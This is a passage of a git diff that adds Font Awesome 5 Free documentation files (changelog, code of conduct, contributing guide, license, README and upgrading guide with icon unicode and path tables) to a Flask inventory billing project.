+* Shims will only function if using old prefix of "fa" FortAwesome/Font-Awesome-Pro#692 +* Added missing "youtube" icon to categories + +--- + +## [5.0.0-beta7](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta7) - 2017-09-11 + +### Added +* Ability to nest the `` tag within the `` FortAwesome/Font-Awesome-Pro#624 +* Define icons as symbols and leverage SVG sprites FortAwesome/Font-Awesome-Pro#629 +* Added alternative CSS3 logo FortAwesome/Font-Awesome-Pro#682 + +### Changed +* Power Transforms now execute inside the SVG instead of on the root element +* Filenames have changed to reflect a better division between Font Awesome Free and Pro + +### Fixed +* More improvements to the version 4 shim FortAwesome/Font-Awesome-Pro#673 FortAwesome/Font-Awesome-Pro#678 FortAwesome/Font-Awesome-Pro#686 FortAwesome/Font-Awesome-Pro#687 FortAwesome/Font-Awesome-Pro#692 +* Animation support for inline SVG now works as expected FortAwesome/Font-Awesome-Pro#662 + +--- + +## [5.0.0-beta6](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta6) - 2017-09-01 + +### Added +* Ability to flip horizontal and vertical with CSS classes fa-flip-horizontal and fa-flip-vertical +* New film-alt icon that allows for layering other icons +* Microsoft brand + +### Changed +* New YouTube branding FortAwesome/Font-Awesome-Pro#646 + +### Fixed +* Fixed a bunch of shim-related issues +* Cogs off center FortAwesome/Font-Awesome-Pro#663 +* Corrected icons/categories.yml with canonical names + +--- + +## [5.0.0-beta5](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta5) - 2017-08-25 + +### Added +* Full parity with Font Awesome 4! 616 total core icons in each style +* 297 total brand and logo icons +* Separate CSS file to accompany the SVG Framework FortAwesome/Font-Awesome-Pro#627 +* Alternative to the dots icon FortAwesome/Font-Awesome-Pro#608 +* Made window icons consistent FortAwesome/Font-Awesome-Pro#611 + +### Fixed +* Production builds not correctly being detected FortAwesome/Font-Awesome-Pro#631 + +--- + +## [5.0.0-beta4](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta4) - 2017-08-18 + +### Added +* 590 total core icons in each style +* 291 total brand and logo icons + +### Fixed +* Reduced the size of JS file from 66 to 22 kb +* Regression caused by with web font alignment FortAwesome/Font-Awesome-Pro#460 + +--- + +## [5.0.0-beta3](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta3) - 2017-08-15 + +### Added +* 583 total core icons in each style + +### Fixed +* Documentation improvements and fixes FortAwesome/Font-Awesome-Pro#586 +* Vertical alignment of TTF and OTF fonts FortAwesome/Font-Awesome-Pro#460 +* The "fa_500px" icon should be named "fa500px" FortAwesome/Font-Awesome-Pro#578 + +--- + +## [5.0.0-beta2](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta2) - 2017-08-11 + +### Added +* 570 total core icons in each style +* 291 total brand and logo icons +* NPM (ES6, CommonJS, AMD) packages for use with other JavaScript libraries and tools FortAwesome/Font-Awesome-Pro#574 +* Added a guide to choosing which implementation is best for you FortAwesome/Font-Awesome-Pro#532 + +### Changed +* Showing a missing icon is now configurable FortAwesome/Font-Awesome-Pro#569 + +### Fixed +* Composition framework now works in browsers that do not support transform-origin FortAwesome/Font-Awesome-Pro#564 + +--- + +## [5.0.0-beta1](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta1) - 2017-08-04 + +### Added +* 524 total core icons in each style +* 289 total brand and logo icons +* New composition framework FortAwesome/Font-Awesome-Pro#537 +* Animated indicator if you use an icon that does not exist + +### Changed +* Basic linting for Sass and Less files +* Add JavaScript guard block to prevent leaking errors +* Add support for automatic accessibility to SVG Framework Layers + +### Fixed +* Regression where stacks and pulled and bordered were not working in SVG Framework +* SVG sprite example had confusing inline styles FortAwesome/Font-Awesome-Pro#549 +* Make getting started page more consistent between examples FortAwesome/Font-Awesome-Pro#544 +* Added missing sizes fa-[6-10], xs, sm FortAwesome/Font-Awesome-Pro#546 +* Title tag missing in SVG sprites FortAwesome/Font-Awesome-Pro#536 + +--- + +## [5.0.0-alpha7](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha7) - 2017-07-28 + +### Added +* 451 total core icons in each style +* 281 total brand and logo icons +* Less support is back! +* OpenType (.otf) file formats for web fonts + +### Changed +* Changes the fa-spin animation to go from 0deg to 360deg to eliminate hitch FortAwesome/Font-Awesome-Pro#522 +* Improved mutation handling FortAwesome/Font-Awesome-Pro#517 + +### Fixed +* fa-fw now works correctly with the SVG framework FortAwesome/Font-Awesome-Pro#530 +* Removed execute bit on some icon files FortAwesome/Font-Awesome-Pro#520 + +--- + +## [5.0.0-alpha6](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha6) - 2017-07-21 + +### Added +* 410 total core icons in each style +* 270 total brand and logo icons +* All new Font Awesome 4 shim file +* Beginnings of a public JS API FortAwesome/Font-Awesome-Pro#512 + +### Changed +* Added Firefox ESR and Chrome for Businesses to browser compatibility FortAwesome/Font-Awesome-Pro#506 + +### Fixed +* Ensure that SVG title attributes are unique +* Fixed incorrect viewBox sizes FortAwesome/Font-Awesome-Pro#492 +* Fix chart-area alignment in the solid style FortAwesome/Font-Awesome-Pro#508 +* Add missing xmlns attributes in some SVGs FortAwesome/Font-Awesome-Pro#509 + +--- + +## [5.0.0-alpha5](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha5) - 2017-07-14 + +### Added +* 228 total brand and logo icons +* New transform framework for sizing, moving, rotating, and flipping icons +* New icon counters +* New layers framework +* New text overlays +* Auto-comments with the original source icons alongside SVG replacements + +### Changed +* Autoprefixer to correctly add browser prefixes for supported browsers +* Removed browser-specific CSS properties in Sass source files (now relies on autoprefixer) + +### Fixed +* The rotation on checkmark icons +* Other icon feedback from previous weeks +* Correct fixed width settings to 1.25em (based on the new 16px grid) +* Icons displaying as block instead of inline-block in IE and older Safari + +--- + +## [5.0.0-alpha4](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha4) - 2017-07-07 + +### Added +* 93 brand icons + +--- + +## [5.0.0-alpha3](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha3) - 2017-06-30 + +### Added +* 95 additional icons; including file types, directional, and some existing and new brand icons + +### Fixed +* Wrong content type in generated CSS FortAwesome/Font-Awesome-Pro#458 +* Removal of query string from static resources FortAwesome/Font-Awesome-Pro#458 +* SVG font ID's are incorrect in webfont implementation FortAwesome/Font-Awesome-Pro#474 + +--- + +## [5.0.0-alpha2](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha2) - 2017-06-27 + +### Added +* How/When to upgrade from FA4 to FA5 FortAwesome/Font-Awesome-Pro#454 + +### Fixed +* Links to SVG files broken in the example files FortAwesome/Font-Awesome-Pro#456 +* Misnamed icon names in examples FortAwesome/Font-Awesome-Pro#445 +* Mangled HTML in the Getting Started example FortAwesome/Font-Awesome-Pro#442 +* Bad grammar and typos FortAwesome/Font-Awesome-Pro#443 +* fas-arrow-to-top is identical to fas-arrow-to-right FortAwesome/Font-Awesome-Pro#423 +* Vertical alignment issues with webfont implementation FortAwesome/Font-Awesome-Pro#444 +* Add browser compatibility tables to demo FortAwesome/Font-Awesome-Pro#435 +* Remove MAC OS feces from builds FortAwesome/Font-Awesome-Pro#437 +* TTF naming issues that prevent correct usage/installation FortAwesome/Font-Awesome-Pro#450 +* Correct CSS for SVG framework stacking, was reversed from normal FortAwesome/Font-Awesome-Pro#452 + +--- + +## [5.0.0-alpha1](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha1) - 2017-06-23 + +### Added +* 300+ more icons +* Brands pack +* New JavaScript based SVG Framework +* New SVG Sprites based framework +* Source SVGs +* Documentation with a convenient build-in web server + +### Changed +* New directory structure diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/CODE_OF_CONDUCT.md b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/CODE_OF_CONDUCT.md new file mode 100644 index 00000000..852f155f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/CODE_OF_CONDUCT.md @@ -0,0 +1,74 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to making participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, gender identity and expression, level of experience, +nationality, personal appearance, race, religion, or sexual identity and +orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or +advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project team at . All +complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, +available at [https://contributor-covenant.org/version/1/4][version] + +[homepage]: https://contributor-covenant.org +[version]: https://contributor-covenant.org/version/1/4/ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/CONTRIBUTING.md b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/CONTRIBUTING.md new file mode 100644 index 00000000..f655b1dc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/CONTRIBUTING.md @@ -0,0 +1,25 @@ +# Contributing to Font Awesome + +Looking to contribute something to Font Awesome? **Here's how you can help.** + +## Quick start + +We only accept issues that are icon requests, bug reports, or feature requests. +Bugs must be isolated and reproducible problems that we can fix within the Font +Awesome core. + +* [Request a new icon](https://github.com/FortAwesome/Font-Awesome/issues/new?title=Icon%20request:%20icon-name&template=icon-request.md) +* [Request a new feature](https://github.com/FortAwesome/Font-Awesome/issues/new??title=Feature%20request:feature-name&template=feature-request.md) +* [Submit a bug report](https://github.com/FortAwesome/Font-Awesome/issues/new?template=bug-report.md) + +## Key branches + +- `master` is the latest, deployed version + +## Pull requests + +- At the moment we are not accepting pull requests containing icons +- Pull requests that do not solve an existing issue are essentially un-prioritized–don't expect these to be addressed quickly +- The files in this repository are generated elsewhere and we do not merge PR's directly into master +- Try not to pollute your pull request with unintended changes–keep them simple and small +- Try to share which browsers your code has been tested in before submitting a pull request diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/LICENSE.txt b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/LICENSE.txt new file mode 100644 index 00000000..f31bef92 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/LICENSE.txt @@ -0,0 +1,34 @@ +Font Awesome Free License +------------------------- + +Font Awesome Free is free, open source, and GPL friendly. You can use it for +commercial projects, open source projects, or really almost whatever you want. +Full Font Awesome Free license: https://fontawesome.com/license/free. + +# Icons: CC BY 4.0 License (https://creativecommons.org/licenses/by/4.0/) +In the Font Awesome Free download, the CC BY 4.0 license applies to all icons +packaged as SVG and JS file types. + +# Fonts: SIL OFL 1.1 License (https://scripts.sil.org/OFL) +In the Font Awesome Free download, the SIL OFL license applies to all icons +packaged as web and desktop font files. + +# Code: MIT License (https://opensource.org/licenses/MIT) +In the Font Awesome Free download, the MIT license applies to all non-font and +non-icon files. + +# Attribution +Attribution is required by MIT, SIL OFL, and CC BY licenses. Downloaded Font +Awesome Free files already contain embedded comments with sufficient +attribution, so you shouldn't need to do anything additional when using these +files normally. + +We've kept attribution comments terse, so we ask that you do not actively work +to remove them from files, especially code. They're a great way for folks to +learn about Font Awesome. + +# Brand Icons +All brand icons are trademarks of their respective owners. The use of these +trademarks does not indicate endorsement of the trademark holder by Font +Awesome, nor vice versa. **Please do not use brand logos for any purpose except +to represent the company, product, or service to which they refer.** diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/README.md b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/README.md new file mode 100644 index 00000000..b76959d5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/README.md @@ -0,0 +1,138 @@ +

Font Awesome 5 Free

+ +> Version 5 – the iconic SVG, font, and CSS framework + +The internet's most popular icon toolkit has been redesigned and built from +scratch. On top of this, features like icon font ligatures, an SVG framework, +official NPM packages for popular frontend libraries like React, and access to +a new CDN. + +Not familiar with Font Awesome 5? [Learn +more](https://www.kickstarter.com/projects/232193852/font-awesome-5) about our +successful Kickstarter and plan. You can also **[order Font Awesome +Pro](https://fontawesome.com/pro)** which includes tons more icons directly +from [fontawesome.com](https://fontawesome.com). + +## Documentation + +Learn how to get started with Font Awesome and then dive deeper into other and advanced topics: + +### Using Font Awesome on the Web + +* [With SVG with JavaScript](https://fontawesome.com/how-to-use/on-the-web/setup/getting-started?using=svg-with-js) +* [With web fonts with CSS](https://fontawesome.com/how-to-use/on-the-web/setup/getting-started?using=web-fonts-with-css) +* [Upgrading from version 4](https://fontawesome.com/how-to-use/on-the-web/setup/upgrading-from-version-4) +* [Installing Font Awesome with a package manager](https://fontawesome.com/how-to-use/on-the-web/setup/using-package-managers) +* [Downloading + hosting Font Awesome yourself](https://fontawesome.com/how-to-use/on-the-web/setup/hosting-font-awesome-yourself) +* [Performance and security](https://fontawesome.com/how-to-use/performance-and-security) +* [Accessibility](https://fontawesome.com/how-to-use/on-the-web/other-topics/accessibility) +* [Troubleshooting](https://fontawesome.com/how-to-use/on-the-web/other-topics/troubleshooting) + +#### Advanced Options & Techniques + +* [Using CSS pseudo-elements](https://fontawesome.com/how-to-use/on-the-web/advanced/css-pseudo-elements) +* [SVG sprites](https://fontawesome.com/how-to-use/svg-sprites) +* [The Font Awesome API](https://fontawesome.com/how-to-use/font-awesome-api) +* [SVG symbols](https://fontawesome.com/how-to-use/on-the-web/advanced/svg-symbols) +* [SVG JavaScript Core](https://fontawesome.com/how-to-use/on-the-web/advanced/svg-javascript-core) +* [Server side rendering](https://fontawesome.com/how-to-use/server-side-rendering) + +### Using Font Awesome on the Desktop + +* [Getting started](https://fontawesome.com/how-to-use/on-the-desktop/setup/getting-started) +* [Upgrading from version 4](https://fontawesome.com/how-to-use/on-the-desktop/setup/upgrading-from-version-4) +* [Using ligatures](https://fontawesome.com/how-to-use/on-the-desktop/referencing-icons/using-ligatures) +* [Using glyphs](https://fontawesome.com/how-to-use/on-the-desktop/referencing-icons/using-glyphs) +* [Troubleshooting](https://fontawesome.com/how-to-use/on-the-desktop/other-topics/troubleshooting) + +### Where did Font Awesome 4 (or 3) go? + +Now that Font Awesome 5 has been released we are marking version 4 as +end-of-life. We don't plan on releasing any further versions of the 4.x or 3.x. + +Documentation is still available but it's moved to +[https://fontawesome.com/v4.7.0](https://fontawesome.com/v4.7.0) and +[https://fontawesome.com/v3.2.1](https://fontawesome.com/v3.2.1). + +The Git repository for +[v4.7.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/v4.7.0) and +[v3.2.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/v3.2.1) can +be found in our GitHub releases. + +## Change log + +We'll keep track of each release in the [CHANGELOG.md](./CHANGELOG.md) + +Looking for older versions of Font Awesome? Check the [releases](https://github.com/FortAwesome/Font-Awesome/releases). + +## Upgrading + +From time-to-time we'll have special upgrading instructions from one version to the next. + +Check out the [UPGRADING.md](./UPGRADING.md) guide when you upgrade your dependencies. + +## Code of conduct + +We will behave ourselves if you behave yourselves. For more details see our +[CODE_OF_CONDUCT.md](./CODE_OF_CONDUCT.md). + +## Contributing + +Please read through our [contributing guidelines](./CONTRIBUTING.md). Included +are directions for opening issues. + +## Versioning + +Font Awesome will be maintained under the Semantic Versioning guidelines as much as possible. Releases will be numbered +with the following format: + +`..` + +For more information on SemVer, please visit http://semver.org. + +**The major version "5" is part of an umbrella release. It includes many different types of files and technologies. Therefore +we deviate from normal SemVer in the following ways:** + +* Any release may update the design, look-and-feel, or branding of an existing + icon +* We will never intentionally release a `patch` version update that breaks + backward compatibility +* A `minor` release **may include backward-incompatible changes** but we will + write clear upgrading instructions in UPGRADING.md +* A `minor` or `patch` release will never remove icons +* Bug fixes will be addressed as `patch` releases unless they include backward + incompatibility then they will be `minor` releases + +## License + +Font Awesome Free is free, open source, and GPL friendly. You can use it for +commercial projects, open source projects, or really almost whatever you want. + +- Icons — CC BY 4.0 License + - In the Font Awesome Free download, the CC BY 4.0 license applies to all icons packaged as .svg and .js files types. +- Fonts — SIL OFL 1.1 License + - In the Font Awesome Free download, the SIL OLF license applies to all icons packaged as web and desktop font files. +- Code — MIT License + - In the Font Awesome Free download, the MIT license applies to all non-font and non-icon files. + +Attribution is required by MIT, SIL OLF, and CC BY licenses. Downloaded Font +Awesome Free files already contain embedded comments with sufficient +attribution, so you shouldn't need to do anything additional when using these +files normally. + +We've kept attribution comments terse, so we ask that you do not actively work +to remove them from files, especially code. They're a great way for folks to +learn about Font Awesome. + +## Team +* [Dave Gandy](https://github.com/davegandy) +* [Travis Chase](https://github.com/supercodepoet) +* [Rob Madole](https://github.com/robmadole) +* [Brian Talbot](https://github.com/talbs) +* [Jory Raphael](https://github.com/sensibleworld) +* [Mike Wilkerson](https://github.com/mlwilkerson) +* [Trevor Chase](https://github.com/trevorchase) +* [Jason Lundien](https://github.com/jasonlundien) +* [Jason Otero](https://github.com/deathnfudge) +* [Edward Emanuel](https://github.com/ej2) +* [Geremia Taglialatela](https://github.com/tagliala) diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/UPGRADING.md b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/UPGRADING.md new file mode 100644 index 00000000..a5a76229 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/UPGRADING.md @@ -0,0 +1,625 @@ +# Upgrading Guide + +See the [CHANGELOG.md](./CHANGELOG.md) for detailed information about what has changed between versions. + +This guide is useful to figure out what you need to do between breaking changes. + +As always, [submit issues](https://github.com/FortAwesome/Font-Awesome/issues/new) that you run into with this guide or with these upgrades to us. + +--- + +## 5.15.3 to 5.15.4 + +The tripadvisor brand icon has been removed by legal request of Tripadvisor. + +--- + +## 5.15.2 to 5.15.3 + +There are no breaking changes in this version upgrade. + +--- + +## 5.15.1 to 5.15.2 + +There are no breaking changes in this version upgrade. + +--- + +## 5.15.0 to 5.15.1 + +There are no breaking changes in this version upgrade. + +--- + +## 5.14.0 to 5.15.0 + +The adobe icon has been removed by legal request of Adobe. + +Font Awesome is no longer able to provide any logos or marks for the Adobe +brand or their products. + +--- + +## 5.12.x/5.13.x to 5.14.0 + +In version 5.12.0 and 5.13.0 some of the icons were assigned unicode values +that were outside the Private Unicode Area (PUA). This caused problems with +some desktop software and caused the icons to show up as Chinese, Japanese, or +Korean (CJK) ideographs. + +The unicode values have been re-assigned to values within the PUA range. + +If you were using any of the following icons with pseudo-elements you will need +to change the CSS `content` value to the new unicode value. + +| Icon name | Old | New | +| ---------------------- | ---- | ---- | +| bacteria | f959 | e059 | +| bacterium | f95a | e05a | +| box-tissue | f95b | e05b | +| caravan-alt | f900 | e000 | +| cat-space | f901 | e001 | +| coffee-pot | f902 | e002 | +| coffin-cross | f951 | e051 | +| comet | f903 | e003 | +| dailymotion | f952 | e052 | +| deezer | f977 | e077 | +| edge-legacy | f978 | e078 | +| fan-table | f904 | e004 | +| faucet | f905 | e005 | +| faucet-drip | f906 | e006 | +| firefox-browser | f907 | e007 | +| folder-download | f953 | e053 | +| folder-upload | f954 | e054 | +| galaxy | f908 | e008 | +| garage | f909 | e009 | +| garage-car | f90a | e00a | +| garage-open | f90b | e00b | +| google-pay | f979 | e079 | +| hand-holding-medical | f95c | e05c | +| hand-sparkles | f95d | e05d | +| hands-wash | f95e | e05e | +| handshake-alt-slash | f95f | e05f | +| handshake-slash | f960 | e060 | +| head-side-cough | f961 | e061 | +| head-side-cough-slash | f962 | e062 | +| head-side-mask | f963 | e063 | +| head-side-virus | f964 | e064 | +| heat | f90c | e00c | +| house | f90d | e00d | +| house-day | f90e | e00e | +| house-leave | f90f | e00f | +| house-night | f910 | e010 | +| house-return | f911 | e011 | +| house-signal | f912 | e012 | +| house-user | f965 | e065 | +| ideal | f913 | e013 | +| instagram-square | f955 | e055 | +| lamp-desk | f914 | e014 | +| lamp-floor | f915 | e015 | +| laptop-house | f966 | e066 | +| light-ceiling | f916 | e016 | +| light-switch | f917 | e017 | +| light-switch-off | f918 | e018 | +| light-switch-on | f919 | e019 | +| lungs-virus | f967 | e067 | +| microblog | f91a | e01a | +| microwave | f91b | e01b | +| mixer | f956 | e056 | +| outlet | f91c | e01c | +| oven | f91d | e01d | +| people-arrows | f968 | e068 | +| pied-piper-square | f91e | e01e | +| plane-slash | f969 | e069 | +| planet-moon | f91f | e01f | +| planet-ringed | f920 | e020 | +| police-box | f921 | e021 | +| portal-enter | f922 | e022 | +| portal-exit | f923 | e023 | +| pump-medical | f96a | e06a | +| pump-soap | f96b | e06b | +| radar | f924 | e024 | +| raygun | f925 | e025 | +| refrigerator | f926 | e026 | +| rocket-launch | f927 | e027 | +| rust | f97a | e07a | +| sensor | f928 | e028 | +| sensor-alert | f929 | e029 | +| sensor-fire | f92a | e02a | +| sensor-on | f92b | e02b | +| sensor-smoke | f92c | e02c | +| shield-virus | f96c | e06c | +| shopify | f957 | e057 | +| sink | f96d | e06d | +| siren | f92d | e02d | +| siren-on | f92e | e02e | +| soap | f96e | e06e | +| solar-system | f92f | e02f | +| sort-circle | f930 | e030 | +| sort-circle-down | f931 | e031 | +| sort-circle-up | f932 | e032 | +| space-station-moon | f933 | e033 | +| space-station-moon-alt | f934 | e034 | +| sprinkler | f935 | e035 | +| star-shooting | f936 | e036 | +| starfighter | f937 | e037 | +| starfighter-alt | f938 | e038 | +| starship | f939 | e039 | +| starship-freighter | f93a | e03a | +| stopwatch-20 | f96f | e06f | +| store-alt-slash | f970 | e070 | +| store-slash | f971 | e071 | +| sword-laser | f93b | e03b | +| sword-laser-alt | f93c | e03c | +| swords-laser | f93d | e03d | +| telescope | f93e | e03e | +| temperature-down | f93f | e03f | +| temperature-up | f940 | e040 | +| tiktok | f97b | e07b | +| toilet-paper-slash | f972 | e072 | +| trailer | f941 | e041 | +| transporter | f942 | e042 | +| transporter-1 | f943 | e043 | +| transporter-2 | f944 | e044 | +| transporter-3 | f945 | e045 | +| transporter-empty | f946 | e046 | +| ufo | f947 | e047 | +| ufo-beam | f948 | e048 | +| unity | f949 | e049 | +| unsplash | f97c | e07c | +| user-alien | f94a | e04a | +| user-robot | f94b | e04b | +| user-unlock | f958 | e058 | +| user-visor | f94c | e04c | +| users-slash | f973 | e073 | +| vacuum | f94d | e04d | +| vacuum-robot | f94e | e04e | +| virus | f974 | e074 | +| virus-slash | f975 | e075 | +| viruses | f976 | e076 | +| window-frame | f94f | e04f | +| window-frame-open | f950 | e050 | + +--- + +## 5.13.0 to 5.13.1 + +There are no breaking changes in this version upgrade. + +--- + +## 5.12.1 to 5.13.0 + +There are no breaking changes in this version upgrade. + +--- + +## 5.12.0 to 5.12.1 + +There are no breaking changes in this version upgrade. + +--- + +## 5.11.2 to 5.12.0 + +The 9-pointed icon named "haykal" was renamed to "bahai" to better match the +symbol. If you were previously using the misnamed icon rename to "bahai" when +upgrading. + +--- + +## 5.11.1 to 5.11.2 + +The scanner-image icon was previously using the same unicode value as the scanner icon. + +This has now been fixed and the scanner-image icon has a unique unicode value. + +The film-canister icon was misspelled as "film-cannister". This has been fixed. + +--- + +## 5.11.0 to 5.11.1 + +There are no breaking changes in this version upgrade. + +--- + +## 5.10.2 to 5.11.0 + +There are no breaking changes in this version upgrade. + +--- + +## 5.10.1 to 5.10.2 + +There are no breaking changes in this version upgrade. + +--- + +## 5.10.0 to 5.10.1 + +The Sass function `fa-content-secondary` which was part of the `duotone.scss` +file has been removed due to its inconsistent behavior in different versions of +Sass pre-processors. Specifically [`node-sass`](https://github.com/sass/node-sass) and +[`sass`](https://github.com/sass/dart-sass) didn't produce the same output. + +--- + +## 5.9.0 to 5.10.0 + +The following icon shims have been changed to better match the original version 4 icon: + +* sort-alpha-desc +* sort-amount-desc +* sort-numeric-desc + +--- + +## 5.8.2 to 5.9.0 + +The nintendo-switch icon has been removed by legal request of Nintendo of America Inc. + +Font Awesome is no longer able to provide icons related to Nintendo, their +gaming consoles, accessories, or games. + +--- + +## 5.8.1 to 5.8.2 + +There are no breaking changes in this version upgrade. + +--- + +## 5.8.0 to 5.8.1 + +There are no breaking changes in this version upgrade. + +--- + +## 5.7.x to 5.8.0 + +### Removing title elements from SVG sprites + +Since the initial release of version 5, all the way back to 5.0.0 actually, +we've included `` elements in the SVG sprites. + +In https://github.com/FortAwesome/Font-Awesome/issues/14595 a discussion +outlines that this practice actually prevents normal efforts to make these +sprites accessible according to web accessibility standards. + +If you are using sprites please refer to [our documentation on accessibility with Font Awesome](https://fontawesome.com/how-to-use/on-the-web/other-topics/accessibility). + +### Removing vertical-align from the .fa-icon Sass mixin + +Font Awesome has supported Sass and Less CSS pre-processors for a long time. + +The version 5 `.fa-icon` mixin which is present in `scss/_mixins.scss` +previously included `vertical-align` which was incorrectly shifting icons. + +If you have used this mixin in your own Sass files you will need to check the +alignment of those icons after upgrading to 5.8.0. + +--- + +## 5.7.1 to 5.7.2 + +There are no breaking changes in this version upgrade. + +--- + +## 5.7.0 to 5.7.1 + +The cheeseburger icon incorrectly placed the cheese _under_ the patty. This is unacceptable and we've fixed it. + +--- + +## 5.6.x to 5.7.0 + +### OTF and TTF files + +The PostScript name has been changed from `FontAwesome5ProSolid` to `FontAwesome5Pro-Solid`. This was done to be more compatible with tooling such as XCode. + +We've also update the `Version` specifier. Font files only support a MAJOR and MINOR version number so we have modifed our schema. For example, version 5.7.0 of Font Awesome is reflected as 329.472 in the individual font files. + +### Icon changes + +The calendar-alt icon has been reverted back to the previous design in versions <= 5.6.0. + +--- + +## 5.6.x to 5.6.3 + +The fire icon has been reverted back to the previous design in versions <= 5.5.0. + +We have moved the redesigned icon to fire-alt. + +--- + +## 5.6.0 to 5.6.1 + +There are no breaking changes in this version upgrade. + +--- + +## 5.5.0 to 5.6.0 + +In this release we've taken time to re-organize the directory structure to +prevent redundancy and improve findability. + +### Directory structure changes + +| Old path | New path | +|-----------------------------------|-------------| +| advanced-options/metadata | metadata | +| advanced-options/raw-svg | svgs | +| advanced-options/svg-sprites | sprites | +| advanced-options/use-with-node-js | js-packages | +| svg-with-js/js | js | +| svg-with-js/css | css | +| use-on-desktop | otfs | +| web-fonts-with-css/css | css | +| web-fonts-with-css/less | less | +| web-fonts-with-css/scss | scss | +| web-fonts-with-css/webfonts | webfonts | + +--- + +## 5.4.x to 5.5.0 + +There are no breaking changes in this version upgrade. + +--- + +## 5.4.0 to 5.4.1 + +Categories were renamed from: + +* Holiday to Halloween +* Seasonal to Autumn + +The "wand" icon in version 5.4.0 matched the "wand-magic" icon. The magical +sparkles have been removed for "wand". If you were relying on this decoration +in your design switch to "wand-magic" to bring the magic back. + +--- + +## 5.3.x to 5.4.0 + +There are no breaking changes in this version upgrade. + +--- + +## 5.3.0 to 5.3.1 + +The following Pro-only icons were removed from Font Awesome Free as of 5.3.1: + +* abacus +* calculator-alt +* empty-set +* function +* integral +* intersection +* lambda +* omega +* pi +* sigma +* signal-alt +* signal-alt-slash +* signal-slash +* square-root +* tally +* theta +* tilde +* union +* value-absolute +* volume +* volume-down +* volume-slash +* wifi-slash + +These icons were unintentionally included in 5.3.0. + +--- + +## 5.x.x to 5.3.0 + +Sass mixin syntax has been updated to address a bug. + +Use `@extend %fa-icon` to correctly maintain CSS order in output files. + +~~Old way:~~ + +``` +.twitter { + @include fa-icon; /* incorrect */ + @extend .fab; + + &:before { + content: fa-content($fa-var-twitter); + } +} +``` + +New way: + +``` +.twitter { + @extend %fa-icon; /* correct */ + @extend .fab; + + &:before { + content: fa-content($fa-var-twitter); + } +} +``` + +--- + +## 5.1.x to 5.2.x + +There are no breaking changes in this version upgrade. + +--- + +## 5.1.0 to 5.1.1 + +Less and Sass files incorrectly contained the "fa-" prefix for style files. +These files have been renamed to be consistent with other files in the +packages. + +If you are using the Less or Sass file styles individually you will need to +correct the names in your builds. + +| Old filename | New filename | +| --------------------------- | ------------------------ | +| less/fa-solid.less | less/solid.less | +| less/fa-regular.less | less/regular.less | +| less/fa-light.less | less/light.less | +| less/fa-brands.less | less/brands.less | +| scss/fa-solid.scss | scss/solid.scss | +| scss/fa-regular.scss | scss/regular.scss | +| scss/fa-light.scss | scss/light.scss | +| 